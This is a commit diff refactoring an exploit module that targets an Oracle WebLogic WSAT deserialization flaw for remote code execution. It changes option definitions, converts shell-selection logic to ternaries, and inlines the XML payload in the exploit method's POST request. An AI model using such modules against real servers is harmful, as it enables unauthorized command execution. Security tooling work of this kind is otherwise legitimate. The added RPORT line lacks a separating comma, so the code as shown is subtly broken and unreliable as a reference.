Fix additional feedback

This
* uses ternary operators
* uses an `RPORT` option shortcut
* removes the `xml_payload` variable and instead more explicitly uses the method directly
* Uses `OptFloat` for the timeout option to allow partial seconds

Author: kkirsche

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

@@ -50,25 +50,17 @@ def initialize(info = {})
 
     register_options([
       OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
-      OptInt.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
-      OptInt.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20])
+      Opt::RPORT(7001, true, 'The remote port that the WebLogic WSAT endpoint listens on')
+      OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20])
     ])
   end
 
   def cmd_base
-    if target_platform == 'win'
-      return 'cmd'
-    else
-      return '/bin/sh'
-    end
+    target_platform == 'win' ? 'cmd' : '/bin/sh'
   end
 
   def cmd_opt
-    if target_platform == 'win'
-      return '/c'
-    else
-      return '-c'
-    end
+    target_platform == 'win' ? '/c' : '-c'
   end
 
   def process_builder_payload
@@ -124,12 +116,10 @@ def process_builder_payload
   # followed by the fake return address and then the payload.
   #
   def exploit
-    xml_payload = process_builder_payload
-
     send_request_cgi({
       'method'   => 'POST',
       'uri'      => normalize_uri(target_uri.path),
-      'data'     => xml_payload,
+      'data'     => process_builder_payload,
       'ctype'    => 'text/xml;charset=UTF-8'
     }, datastore['TIMEOUT'])
   end